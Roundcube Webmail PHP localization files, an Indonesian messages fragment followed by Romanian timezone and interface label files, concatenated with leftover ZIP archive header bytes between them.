$messages['attachmentvalidationerror'] = 'Lampiran ini mencurigakan karena tipenya tidak cocok dengan tipe yang dinyatakan dalam pesan. Bila Anda tidak mempercayai si pengirim, Anda jangan membukanya dalam peramban karena itu mungkin memuat isi yang jahat. <br/> <br/> <em> Diharapkan: $expected; ditemukan: $detected </em>';
$messages['noscriptwarning'] = 'Peringatan: Layanan ini membutuhkan Javascript! Untuk menggunakannya silahkan aktifkan Javascript di pengaturan browser Anda.';
$messages['messageissent'] = 'Pesan telah terkirim, tapi belum disimpan. Apakah Anda hendak menyimpannya sekarang?';
$messages['errnotfound'] = 'Berkas Tak Ditemukan';
$messages['errnotfoundexplain'] = 'Sumber daya yang diminta tidak ditemukan!';
$messages['errfailedrequest'] = 'Permintaan gagal';
$messages['errauthorizationfailed'] = 'Otorisasi Gagal';
$messages['errunauthorizedexplain'] = 'Tidak bisa verifikasi bahwa Anda punya hak untuk mengakses layanan ini!';
$messages['errrequestcheckfailed'] = 'Pemeriksaan Permintaan Gagal';
$messages['errcsrfprotectionexplain'] = "Untuk perlindungan Anda, akses ke sumber daya ini diamankan dari CSRF.\nBila Anda melihat ini, barangkali Anda tidak log out sebelum meninggalkan aplikasi web.\n\nInteraksi pengguna kini diperlukan untuk melanjutkan.";
$messages['errcontactserveradmin'] = 'Harap hubungi administrator server Anda.';
$messages['clicktoresumesession'] = 'Klik di sini untuk melanjutkan sesi Anda sebelumnya';
$messages['errcomposesession'] = 'Kesalahan sesi menulis surat';
$messages['errcomposesessionexplain'] = 'Sesi penulisan surat yang diminta tidak ditemukan.';
$messages['clicktocompose'] = 'Klik di sini untuk menulis pesan baru';
$messages['nosupporterror'] = 'Fitur ini tidak didukung oleh peramban web Anda.';
$messages['siginserted'] = 'Tanda tangan sukses disisipkan.';
$messages['responseinserted'] = 'Respons sukses disisipkan.';
$messages['listempty'] = 'Daftar ini kosong.';
$messages['listusebutton'] = 'Pakai tombol Buat untuk menambahkan sebuah record baru. ';
$messages['keypaircreatesuccess'] = 'Sebuah pasangan kunci baru telah sukses dibuat untuk $identity.';
PK
h�\?e�
�
(program/localization/ro_RO/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Africa';
$labels['tz:africa:abidjan'] = 'Abidjan';
$labels['tz:africa:accra'] = 'Accra';
$labels['tz:africa:addis_ababa'] = 'Addis Ababa';
$labels['tz:africa:cairo'] = 'Cairo';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:tripoli'] = 'Tripoli';
$labels['tz:africa:tunis'] = 'Tunis';
$labels['tz:america'] = 'America';
$labels['tz:america:argentina'] = 'Argentina';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:cordoba'] = 'Cordoba';
$labels['tz:america:bogota'] = 'Bogota';
$labels['tz:america:cancun'] = 'Cancun';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayman'] = 'Cayman';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:costa_rica'] = 'Costa Rica';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominica';
$labels['tz:arctic'] = 'Arctic';
$labels['tz:asia'] = 'Asia';
$labels['tz:asia:baghdad'] = 'Bagdad';
$labels['tz:asia:beirut'] = 'Beirut';
$labels['tz:asia:dubai'] = 'Dubai';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:jerusalem'] = 'Ierusalim';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:europe:minsk'] = 'Minsk';
$labels['tz:europe:monaco'] = 'Monaco';
$labels['tz:europe:moscow'] = 'Moscova';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'Paris';
$labels['tz:europe:prague'] = 'Praga';
$labels['tz:europe:riga'] = 'Riga';
$labels['tz:europe:rome'] = 'Roma';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sofia'] = 'Sofia';
$labels['tz:europe:vatican'] = 'Vatican';
$labels['tz:europe:vienna'] = 'Viena';
$labels['tz:europe:zagreb'] = 'Zagreb';
$labels['tz:pacific'] = 'Pacific';
$labels['tz:pacific:tahiti'] = 'Tahiti';
PK
h�\n�w�j�j%program/localization/ro_RO/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Bine aţi venit la $product';
$labels['username'] = 'Utilizator';
$labels['password'] = 'Parolă';
$labels['server'] = 'Server';
$labels['login'] = 'Autentificare';
$labels['menu'] = 'Meniu';
$labels['logout'] = 'Deconectare';
$labels['mail'] = 'E-Mail';
$labels['settings'] = 'Setări personale';
$labels['addressbook'] = 'Agendă';
$labels['inbox'] = 'Primite';
$labels['drafts'] = 'Ciorne';
$labels['sent'] = 'Trimise';
$labels['trash'] = 'Gunoi';
$labels['junk'] = 'Spam';
$labels['show_real_foldernames'] = 'Arata numele reale pentru folderele speciale';
$labels['subject'] = 'Subiect';
$labels['from'] = 'Expeditor';
$labels['sender'] = 'Expeditor';
$labels['to'] = 'Destinatar';
$labels['cc'] = 'Copie (CC)';
$labels['bcc'] = 'Copie oarbă (BCC)';
$labels['replyto'] = 'Răspunde la';
$labels['followupto'] = 'Followup La';
$labels['date'] = 'Data';
$labels['size'] = 'Mărime';
$labels['priority'] = 'Prioritate';
$labels['organization'] = 'Organizaţie';
$labels['readstatus'] = 'Citit/Necitit';
$labels['listoptions'] = 'Listează opţiunile...';
$labels['listoptionstitle'] = 'Listează opţiunile...';
$labels['mailboxlist'] = 'Dosare';
$labels['messagesfromto'] = 'Mesaje de la $from până la $to din $count';
$labels['threadsfromto'] = 'Grupuri de la $from până la $to din $count';
$labels['messagenrof'] = 'Mesajul $nr din $count';
$labels['fromtoshort'] = '$from - $to din $count';
$labels['copy'] = 'Copiază';
$labels['move'] = 'Mută';
$labels['moveto'] = 'Mută in...';
$labels['copyto'] = 'Copiază în...';
$labels['download'] = 'Descarcă';
$labels['open'] = 'Deschide';
$labels['showattachment'] = 'Arată';
$labels['showanyway'] = 'Arată oricum';
$labels['filename'] = 'Nume fişier';
$labels['filesize'] = 'Mărime fişier';
$labels['addtoaddressbook'] = 'Adaugă în agendă';
$labels['sun'] = 'Dum';
$labels['mon'] = 'Lun';
$labels['tue'] = 'Mar';
$labels['wed'] = 'Mie';
$labels['thu'] = 'Joi';
$labels['fri'] = 'Vin';
$labels['sat'] = 'Sâm';
$labels['sunday'] = 'Duminică';
$labels['monday'] = 'Luni';
$labels['tuesday'] = 'Marţi';
$labels['wednesday'] = 'Miercuri';
$labels['thursday'] = 'Joi';
$labels['friday'] = 'Vineri';
$labels['saturday'] = 'Sâmbătă';
$labels['jan'] = 'Ian';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Apr';
$labels['may'] = 'Mai';
$labels['jun'] = 'Iun';
$labels['jul'] = 'Iul';
$labels['aug'] = 'Aug';
$labels['sep'] = 'Sep';
$labels['oct'] = 'Oct';
$labels['nov'] = 'Noi';
$labels['dec'] = 'Dec';
$labels['longjan'] = 'Ianuarie';
$labels['longfeb'] = 'Februarie';
$labels['longmar'] = 'Martie';
$labels['longapr'] = 'Aprilie';
$labels['longmay'] = 'Mai';
$labels['longjun'] = 'Iunie';
$labels['longjul'] = 'Iulie';
$labels['longaug'] = 'August';
$labels['longsep'] = 'Septembrie';
$labels['longoct'] = 'Octombrie';
$labels['longnov'] = 'Noiembrie';
$labels['longdec'] = 'Decembrie';
$labels['today'] = 'Astăzi';
$labels['refresh'] = 'Actualizează';
$labels['checkmail'] = 'Verifică mesaje noi';
$labels['compose'] = 'Scrie un mesaj';
$labels['writenewmessage'] = 'Scrie mesaj nou';
$labels['reply'] = 'Răspunde';
$labels['replytomessage'] = 'Răspunde expeditorului';
$labels['replytoallmessage'] = 'Răspunde la toţi';
$labels['replyall'] = 'Răspunde la toţi';
$labels['replylist'] = 'Răspunde listei';
$labels['forward'] = 'Înaintează';
$labels['forwardinline'] = 'Înaintează ca citat';
$labels['forwardattachment'] = 'Înaintează ca ataşament';
$labels['forwardmessage'] = 'Trimite mesajul mai departe';
$labels['bouncemsg'] = 'Retrimite (returnat)';
$labels['bounce'] = 'Retrimite';
$labels['deletemessage'] = 'Șterge mesajul';
$labels['movemessagetotrash'] = 'Mută mesajul la gunoi';
$labels['printmessage'] = 'Listează mesajul';
$labels['previousmessage'] = 'Afişează mesajul anterior';
$labels['firstmessage'] = 'Afişează primul mesaj';
$labels['nextmessage'] = 'Afişează următorul mesaj';
$labels['lastmessage'] = 'Afişează ultimul mesaj';
$labels['backtolist'] = 'Înapoi la mesaje';
$labels['viewsource'] = 'Afişează sursa';
$labels['mark'] = 'Marchează';
$labels['markmessages'] = 'Marchează mesajele';
$labels['markread'] = 'Ca citit';
$labels['markunread'] = 'Ca necitit';
$labels['markflagged'] = 'Ca marcat';
$labels['markunflagged'] = 'Ca nemarcat';
$labels['moreactions'] = 'Mai multe acțiuni...';
$labels['markallread'] = 'Marchează tot ca citit';
$labels['folders-cur'] = 'Doar dosarul selectat';
$labels['folders-sub'] = 'Dosarul selectat și subdosarele acestuia';
$labels['folders-all'] = 'Toate dosarele';
$labels['more'] = 'Mai multe';
$labels['back'] = 'Înapoi';
$labels['options'] = 'Opţiuni';
$labels['first'] = 'Primul';
$labels['last'] = 'Ultimul';
$labels['previous'] = 'Precedentul';
$labels['next'] = 'Următorul';
$labels['select'] = 'Selectează';
$labels['all'] = 'Toate';
$labels['none'] = 'Niciunul';
$labels['currpage'] = 'Pagina curentă';
$labels['isread'] = 'Citit';
$labels['unread'] = 'Necitite';
$labels['flagged'] = 'Marcat';
$labels['unflagged'] = 'Nemarcat';
$labels['unanswered'] = 'Fără răspuns';
$labels['withattachment'] = 'Cu atașament';
$labels['deleted'] = 'Şterse';
$labels['undeleted'] = 'Nu a fost șters';
$labels['forwarded'] = 'Redirecționat';
$labels['invert'] = 'Inversează';
$labels['filter'] = 'Filtru';
$labels['list'] = 'Listă';
$labels['threads'] = 'Grupare după subiect';
$labels['expand-all'] = 'Extinde toate';
$labels['expand-unread'] = 'Extinde necitite';
$labels['collapse-all'] = 'Compactează toate';
$labels['threaded'] = 'Grupate';
$labels['autoexpand_threads'] = 'Extinde mesajele grupate';
$labels['do_expand'] = 'toate grupările';
$labels['expand_only_unread'] = 'doar pe cele cu mesaje necitite';
$labels['fromto'] = 'Expeditor/Destinatar';
$labels['flag'] = 'Marcaj';
$labels['attachment'] = 'Ataşament';
$labels['nonesort'] = 'Fără sortare';
$labels['sentdate'] = 'Data trimiterii';
$labels['arrival'] = 'Data primirii';
$labels['asc'] = 'ascendent';
$labels['desc'] = 'descendent';
$labels['listcolumns'] = 'Arată coloane';
$labels['listsorting'] = 'Sortează după';
$labels['listorder'] = 'Ordinea de sortare';
$labels['listmode'] = 'Mod de vizualizare';
$labels['layout'] = 'Aspect';
$labels['layoutwidescreen'] = 'Ecran panoramic';
$labels['layoutdesktop'] = 'Desktop';
$labels['layoutlist'] = 'Listă';
$labels['layoutwidescreendesc'] = 'Ecran panoramic (vizualizare pe 3 coloane)';
$labels['layoutlistdesc'] = 'Listă (fără previzualizare mail)';
$labels['folderactions'] = 'Acțiuni dosar...';
$labels['compact'] = 'Compactează';
$labels['empty'] = 'Goleşte';
$labels['importmessages'] = 'Import mesaje';
$labels['quota'] = 'Spaţiu folosit';
$labels['unknown'] = 'necunoscut';
$labels['unlimited'] = 'nelimitat';
$labels['quotatype'] = 'Tip cotă';
$labels['quotatotal'] = 'Limită';
$labels['quotaused'] = 'Folosit';
$labels['quotastorage'] = 'Spațiu disc';
$labels['quotamessage'] = 'Număr mesaje';
$labels['quicksearch'] = 'Căutare rapidă';
$labels['searchplaceholder'] = 'Caută...';
$labels['resetsearch'] = 'Anulează căutarea';
$labels['searchmod'] = 'Parametrii de căutare';
$labels['msgtext'] = 'Tot mesajul';
$labels['body'] = 'Corp';
$labels['type'] = 'Tip';
$labels['namex'] = 'Nume';
$labels['currentfolder'] = 'Dosarul curent';
$labels['allfolders'] = 'Toate dosarele';
$labels['searchinterval-1W'] = 'mai vechi de o săptămână';
$labels['searchinterval-1M'] = 'mai vechi de o lună';
$labels['searchinterval-1Y'] = 'mai vechi de un an';
$labels['searchinterval1W'] = 'mai nou de o săptămână';
$labels['searchinterval1M'] = 'mai nou de o lună';
$labels['searchinterval1Y'] = 'mai nou de un an';
$labels['openinextwin'] = 'Deschide în fereastră nouă';
$labels['emlsave'] = 'Salvează în format .eml';
$labels['changeformattext'] = 'Afișează în format text';
$labels['changeformathtml'] = 'Afișează în format HTML';
$labels['editasnew'] = 'Editează ca nou';
$labels['send'] = 'Trimite';
$labels['sendmessage'] = 'Trimite mesaj';
$labels['savemessage'] = 'Salvează ciornă';
$labels['addattachment'] = 'Ataşează fişier';
$labels['charset'] = 'Set de caractere';
$labels['editortype'] = 'Tip de editor';
$labels['returnreceipt'] = 'Returnează confirmare de primire';
$labels['dsn'] = 'Notificare despre starea trimiterii';
$labels['mailreplyintro'] = 'În $date, $sender a scris:';
$labels['originalmessage'] = 'Mesaj original';
$labels['selectimage'] = 'Alege imagine';
$labels['addimage'] = 'Adaugă imagine';
$labels['selectmedia'] = 'Alege videoclip';
$labels['addmedia'] = 'Adaugă videoclip';
$labels['encrypt'] = 'Criptează';
$labels['encryptmessage'] = 'Criptează mesaj';
$labels['encryptmessagemailvelope'] = 'Criptează mesajul cu Mailvelope';
$labels['importpubkeys'] = 'Importă chei publice';
$labels['encryptedsendialog'] = 'Se trimite mesaj criptat';
$labels['keyid'] = 'ID Cheie';
$labels['keylength'] = 'Biți';
$labels['keyexpired'] = 'Expirat';
$labels['keyrevoked'] = 'Revocat';
$labels['bccinstead'] = 'Folosește Bcc';
$labels['insert'] = 'Inserează';
$labels['recipient'] = 'Destinatar';
$labels['editidents'] = 'Editează identităţi';
$labels['spellcheck'] = 'Ortografie';
$labels['checkspelling'] = 'Verifică ortografie';
$labels['resumeediting'] = 'Reia editarea';
$labels['revertto'] = 'Revino la';
$labels['restore'] = 'Restaurează';
$labels['restoremessage'] = 'Restaurezi mesajul?';
$labels['ignore'] = 'Ignoră';
$labels['responses'] = 'Răspunsuri';
$labels['insertresponse'] = 'Adaugă un răspuns';
$labels['manageresponses'] = 'Administrează răspunsurile';
$labels['newresponse'] = 'Creează răspuns nou';
$labels['addresponse'] = 'Adaugă răspuns';
$labels['editresponse'] = 'Modifică răspunsul';
$labels['editresponses'] = 'Modifică răspunsurile';
$labels['responsename'] = 'Nume';
$labels['responsetext'] = 'Textul răspunsului';
$labels['attach'] = 'Ataşează';
$labels['attachments'] = 'Ataşamente';
$labels['upload'] = 'Încarcă';
$labels['uploadprogress'] = '$percent ($current din $total)';
$labels['close'] = 'Închide';
$labels['messageoptions'] = 'Opţiuni mesaj...';
$labels['attachmentrename'] = 'Redenumește atașament';
$labels['low'] = 'Mică';
$labels['lowest'] = 'Cea mai mică';
$labels['normal'] = 'Normală';
$labels['high'] = 'Mare';
$labels['highest'] = 'Cea mai mare';
$labels['nosubject'] = '(fără subiect)';
$labels['showimages'] = 'Afişează imagini';
$labels['alwaysshow'] = 'Afişează întotdeauna imaginile de la $sender';
$labels['isdraft'] = 'Acest mesaj este o ciornă.';
$labels['andnmore'] = '$nr mai multe...';
$labels['togglemoreheaders'] = 'Arată mai mult din antet';
$labels['togglefullheaders'] = 'Arată mai puțin din antet';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Text simplu';
$labels['savesentmessagein'] = 'Salvează mesajele trimise în';
$labels['dontsave'] = 'Nu salva';
$labels['maxuploadsize'] = 'Mărimea maxim admisă a fişierului este $size';
$labels['addcc'] = 'Adaugă CC';
$labels['addbcc'] = 'Adaugă BCC';
$labels['addreplyto'] = 'Adaugă Raspunde-La';
$labels['addfollowupto'] = 'Adaugă Followup-La';
$labels['mdnrequest'] = 'Expeditorul acestui mesaj a solicitat să fie notificat la cititrea mesajului. Doriţi să notificaţi expeditorul?';
$labels['receiptread'] = 'Returnează confirmare (citit)';
$labels['yourmessage'] = 'Aceasta este o confirmare de primire a mesajului dumneavoastră.';
$labels['receiptnote'] = 'Notă: Această confirmare doar vă informează că mesajul a fost afişat pe calculatorul destinatarului. Nu există nici o garanţie că destinatarul a citit sau a inţeles conţinutul mesajului.';
$labels['name'] = 'Numele Contact';
$labels['firstname'] = 'Nume';
$labels['surname'] = 'Prenume';
$labels['middlename'] = 'Iniţiala tatălui';
$labels['nameprefix'] = 'Prefix';
$labels['namesuffix'] = 'Sufix';
$labels['nickname'] = 'Poreclă';
$labels['jobtitle'] = 'Funcția';
$labels['department'] = 'Departament';
$labels['gender'] = 'Sex';
$labels['maidenname'] = 'Nume de fată';
$labels['email'] = 'E-Mail';
$labels['phone'] = 'Telefon';
$labels['address'] = 'Adresă';
$labels['street'] = 'Strada';
$labels['locality'] = 'Oraș';
$labels['zipcode'] = 'Cod poştal';
$labels['region'] = 'Stat/Judeţ';
$labels['country'] = 'Țara';
$labels['birthday'] = 'Ziua de naştere:';
$labels['anniversary'] = 'Aniversare';
$labels['website'] = 'Pagină web';
$labels['instantmessenger'] = 'IM (Mesaj Instant)';
$labels['notes'] = 'Notițe';
$labels['male'] = 'masculin';
$labels['female'] = 'feminin';
$labels['manager'] = 'Manager';
$labels['assistant'] = 'Asistent';
$labels['spouse'] = 'Soț/soție';
$labels['allfields'] = 'Toate câmpurile';
$labels['search'] = 'Căutare';
$labels['searchresult'] = 'Rezultate căutare';
$labels['advsearch'] = 'Căutare avansată';
$labels['advanced'] = 'Avansat';
$labels['other'] = 'Altele';
$labels['printcontact'] = 'Imprimă contact';
$labels['qrcode'] = 'Cod QR';
$labels['typehome'] = 'Acasă';
$labels['typework'] = 'Serviciu';
$labels['typeother'] = 'Altele';
$labels['typemobile'] = 'Mobil';
$labels['typemain'] = 'Principal';
$labels['typehomefax'] = 'Fax acasă';
$labels['typeworkfax'] = 'Fax serviciu';
$labels['typecar'] = 'Mașină';
$labels['typepager'] = 'Pager';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Asistent';
$labels['typehomepage'] = 'Pagină de pornire';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Adaugă câmp...';
$labels['addcontact'] = 'Adaugă contact';
$labels['editcontact'] = 'Modifică contact';
$labels['contacts'] = 'Contacte';
$labels['contactproperties'] = 'Proprietăţile contactului...';
$labels['contactnameandorg'] = 'Nume și Organizație';
$labels['personalinfo'] = 'Informații personale';
$labels['personal'] = 'Personal';
$labels['contactphoto'] = 'Poză contact';
$labels['edit'] = 'Editează';
$labels['cancel'] = 'Renunţă';
$labels['save'] = 'Salvează';
$labels['delete'] = 'Şterge';
$labels['discard'] = 'Renunță';
$labels['rename'] = 'Redenumeşte';
$labels['addphoto'] = 'Adaugă';
$labels['replacephoto'] = 'Înlocuiește';
$labels['uploadphoto'] = 'Încarcă imagine';
$labels['newcontact'] = 'Creează contact nou';
$labels['deletecontact'] = 'Şterge contactul selectat';
$labels['composeto'] = 'Compune e-mail pentru';
$labels['contactsfromto'] = 'Contacte de la $from până la $to din $count';
$labels['print'] = 'Listează';
$labels['export'] = 'Exportă';
$labels['exportall'] = 'Exportă tot';
$labels['exportsel'] = 'Exportă partea selectată';
$labels['exportvcards'] = 'Exportă contactele în format vCard';
$labels['newgroup'] = 'Creează grup nou';
$labels['addgroup'] = 'Adaugă grup';
$labels['grouprename'] = 'Redenumește grupul';
$labels['groupdelete'] = 'Șterge grupul';
$labels['groupremoveselected'] = 'Șterge contactele selectate din grup';
$labels['uponelevel'] = 'Mai sus cu un nivel';
$labels['previouspage'] = 'Pagina anterioară';
$labels['firstpage'] = 'Prima pagină';
$labels['nextpage'] = 'Pagina următoare';
$labels['lastpage'] = 'Ultima pagină';
$labels['group'] = 'Grup';
$labels['groups'] = 'Grupuri';
$labels['listgroup'] = 'Lista membrii grupului';
$labels['personaladrbook'] = 'Adrese personale';
$labels['searchsave'] = 'Salvează căutarea';
$labels['searchdelete'] = 'Şterge căutarea';
$labels['import'] = 'Importă';
$labels['importcontacts'] = 'Importă contacte';
$labels['importfromfile'] = 'Importă din fișier';
$labels['importtarget'] = 'Adaugă contactele la';
$labels['importreplace'] = 'Înlocuieşte întreaga agendă';
$labels['importgroups'] = 'Importă atribuirile în grup';
$labels['importgroupsall'] = 'Toate (creează grupurile dacă este necesar)';
$labels['importgroupsexisting'] = 'Doar pentru grupurile existente';
$labels['done'] = 'Finalizat';
$labels['settingsfor'] = 'Setări pentru';
$labels['about'] = 'Despre';
$labels['preferences'] = 'Preferinţe';
$labels['userpreferences'] = 'Preferinţe utilizator';
$labels['editpreferences'] = 'Modifică preferinţe utilizator';
$labels['identities'] = 'Identităţi';
$labels['manageidentities'] = 'Administrează identități';
$labels['newidentity'] = 'Creează identitate nouă';
$labels['addidentity'] = 'Adaugă identitate';
$labels['editidentity'] = 'Modifică identitate';
$labels['identityencryption'] = 'Criptare';
$labels['preferhtml'] = 'Format HTML';
$labels['defaultcharset'] = 'Set implicit de caractere';
$labels['htmlmessage'] = 'Mesaj HTML';
$labels['messagepart'] = 'Parte';
$labels['digitalsig'] = 'Semnătură digitală';
$labels['dateformat'] = 'Format dată';
$labels['timeformat'] = 'Format oră';
$labels['prettydate'] = 'Dată formatată';
$labels['setdefault'] = 'Setează implicit';
$labels['autodetect'] = 'Automat';
$labels['language'] = 'Limba';
$labels['timezone'] = 'Fus orar';
$labels['pagesize'] = 'Rânduri pe pagină';
$labels['signature'] = 'Semnătură';
$labels['dstactive'] = 'Reglare ora de vară';
$labels['showinextwin'] = 'Deschide mesajul în fereastră nouă';
$labels['composeextwin'] = 'Compune mesajul în fereastră nouă';
$labels['htmleditor'] = 'Scrie mesaje HTML';
$labels['htmlonreply'] = 'la răspunsul doar către un mesaj HTML';
$labels['htmlonreplyandforward'] = 'la trimitere mai departe sau la răspuns la mesaj HTML';
$labels['htmlsignature'] = 'Semnatură HTML';
$labels['showemail'] = 'Arată adresa email alături de nume afișat';
$labels['previewpane'] = 'Previzualizare mail';
$labels['skin'] = 'Temă interfaţă';
$labels['logoutclear'] = 'Goleşte Coşul de Gunoi la deconectare';
$labels['logoutcompact'] = 'Compactează dosarul Primite la deconectare';
$labels['uisettings'] = 'Interfaţă utilizator';
$labels['serversettings'] = 'Configuraţii server';
$labels['mailboxview'] = 'Afişare căsuţă poştală';
$labels['mdnrequests'] = 'Notificări expeditor';
$labels['askuser'] = 'întreabă-mă';
$labels['autosend'] = 'trimite automat';
$labels['autosendknown'] = 'trimite confirmarea de primire către contactele mele, în rest întreabă-mă';
$labels['autosendknownignore'] = 'trimite confirmarea de primire către contactele mele, în rest ignoră';
$labels['ignorerequest'] = 'ignoră solicitare';
$labels['readwhendeleted'] = 'Marchează mesajul ca citit la ştergere';
$labels['flagfordeletion'] = 'Marchează mesajul pentru ştergere în loc de a-l şterge direct';
$labels['skipdeleted'] = 'Nu arăta mesajele şterse';
$labels['deletealways'] = 'Dacă mutarea mesajelor în Coş eşuează, șterge-le';
$labels['deletejunk'] = 'Șterge direct mesajele în Junk';
$labels['showremoteimages'] = 'Arată imaginile care nu fac parte din e-mail';
$labels['fromknownsenders'] = 'de la expeditori cunoscuţi';
$labels['always'] = 'întotdeauna';
$labels['showinlineimages'] = 'Arată imaginile ataşate sub mesaj';
$labels['autosavedraft'] = 'Salvează ciorna automat';
$labels['everynminutes'] = 'la fiecare $n minut(e)';
$labels['refreshinterval'] = 'Actualizare (verificare mesaje noi, etc.)';
$labels['never'] = 'niciodată';
$labels['immediately'] = 'imediat';
$labels['messagesdisplaying'] = 'Afişarea mesajelor';
$labels['messagescomposition'] = 'Compunerea mesajelor';
$labels['mimeparamfolding'] = 'Nume ataşamente';
$labels['2231folding'] = 'RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'RFC 2047 (Altele)';
$labels['force7bit'] = 'Foloseşte encodarea MIME pentru caracterele cu 8 biţi';
$labels['advancedoptions'] = 'Opţiuni avansate';
$labels['focusonnewmessage'] = 'Focalizare pe fereastra browser-ului la mesaje noi';
$labels['checkallfolders'] = 'Verifică toate dosarele pentru mesaje noi';
$labels['defaultfont'] = 'Font-ul implicit al mesajului HTML';
$labels['mainoptions'] = 'Opţiuni principale';
$labels['browseroptions'] = 'Opțiuni browser';
$labels['section'] = 'Secţiune';
$labels['maintenance'] = 'Mentenanţă';
$labels['newmessage'] = 'Mesaj nou';
$labels['signatureoptions'] = 'Opţiuni semnătură';
$labels['whenreplying'] = 'Când răspundeţi';
$labels['replyempty'] = 'nu cita mesajul original';
$labels['replytopposting'] = 'începeţi mesajul nou deasupra originalului';
$labels['replytoppostingnoindent'] = 'Porniți un mesaj nou deasupra citatului (fără indentare)';
$labels['replybottomposting'] = 'începeţi mesajul nou dedesubtul originalului';
$labels['replyremovesignature'] = 'Când răspundeţi, se şterge semnătura originală din mesaj';
$labels['autoaddsignature'] = 'Adăugarea automată a semnăturii';
$labels['newmessageonly'] = 'numai la mesajele noi';
$labels['replyandforwardonly'] = 'numai la răspunsuri si cele trimise mai departe';
$labels['insertsignature'] = 'Introduce o semnătură';
$labels['sigbelow'] = 'Plasați semnătura sub mesajul citat';
$labels['sigseparator'] = 'Forțează separator standard în semnături';
$labels['afternseconds'] = 'după $n secunde';
$labels['reqmdn'] = 'Cere întotdeauna o confirmare de primire';
$labels['reqdsn'] = 'Cere întotdeauna o notificare a stării de trimitere';
$labels['replysamefolder'] = 'Pune răspunsurile în folder-ul mesajului la care se răspunde';
$labels['defaultabook'] = 'Agenda implicită';
$labels['autocompletesingle'] = 'Sari peste adresele e-mail alternative la autocompletare';
$labels['listnamedisplay'] = 'Listează contactele ca';
$labels['spellcheckbeforesend'] = 'Verifică ortografia înainte de a trimite un mesaj';
$labels['spellcheckoptions'] = 'Opţiuni verificare ortografie';
$labels['spellcheckignoresyms'] = 'Ignoră cuvintele cu simboluri';
$labels['spellcheckignorenums'] = 'Ignoră cuvintele cu numere';
$labels['spellcheckignorecaps'] = 'Ignoră cuvintele din litere mari';
$labels['addtodict'] = 'Adaugă la dicţionar';
$labels['mailtoprotohandler'] = 'Îregistrează handler protocol pentru mailto: link-uri';
$labels['standardwindows'] = 'Trateaza popupsurile ca ferestre standard';
$labels['forwardmode'] = 'Trimitere mai departe mesaj';
$labels['inline'] = 'într-e linii';
$labels['asattachment'] = 'ca atașament';
$labels['replyallmode'] = 'Acțiunea implicită pentru butonul [Răspunde la toți]';
$labels['replyalldefault'] = 'răspunde la toți';
$labels['replyalllist'] = 'răspunde listei (dacă este găsită)';
$labels['allmessages'] = 'toate mesajele';
$labels['folder'] = 'Dosar';
$labels['folders'] = 'Dosare';
$labels['foldername'] = 'Nume dosar';
$labels['subscribed'] = 'Înscris';
$labels['messagecount'] = 'Mesaje';
$labels['create'] = 'Creează';
$labels['createfolder'] = 'Creează dosar nou';
$labels['managefolders'] = 'Administrează dosare';
$labels['specialfolders'] = 'Dosare speciale';
$labels['properties'] = 'Proprietăți';
$labels['folderproperties'] = 'Proprietăţile folder-ului';
$labels['parentfolder'] = 'Dosar părinte';
$labels['location'] = 'Locație';
$labels['info'] = 'Informații';
$labels['getfoldersize'] = 'Click pentru dimensiunea dosarului';
$labels['changesubscription'] = 'Click pentru a modifica abonarea';
$labels['foldertype'] = 'Tip dosar';
$labels['personalfolder'] = 'Dosar privat';
$labels['otherfolder'] = 'Dosarul altui utilizator';
$labels['sharedfolder'] = 'Dosar public';
$labels['findfolders'] = 'Găsește dosare';
$labels['findcontacts'] = 'Găsește contacte';
$labels['findmail'] = 'Găsește mesaje';
$labels['namespace.personal'] = 'Personal';
$labels['namespace.other'] = 'Alți utilizatori';
$labels['namespace.shared'] = 'Partajat';
$labels['dualuselabel'] = 'Poate conține doar';
$labels['dualusemail'] = 'mesaje';
$labels['dualusefolder'] = 'dosare';
$labels['encryptioncreatekey'] = 'Creează cheie pereche nouă';
$labels['encryption'] = 'Criptare';
$labels['sortby'] = 'Sortează după';
$labels['sortasc'] = 'Sortează ascendent';
$labels['sortdesc'] = 'Sortează descendent';
$labels['undo'] = 'Anulaţi/Revocați';
$labels['installedplugins'] = 'Instalare module';
$labels['plugin'] = 'Plugin';
$labels['version'] = 'Versiune';
$labels['source'] = 'Sursă';
$labels['license'] = 'Licență';
$labels['support'] = 'Cere asistenţă';
$labels['savedsearches'] = 'Căutări salvate';
$labels['B'] = 'O';
$labels['KB'] = 'KO';
$labels['MB'] = 'MO';
$labels['GB'] = 'GO';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Englezesc';
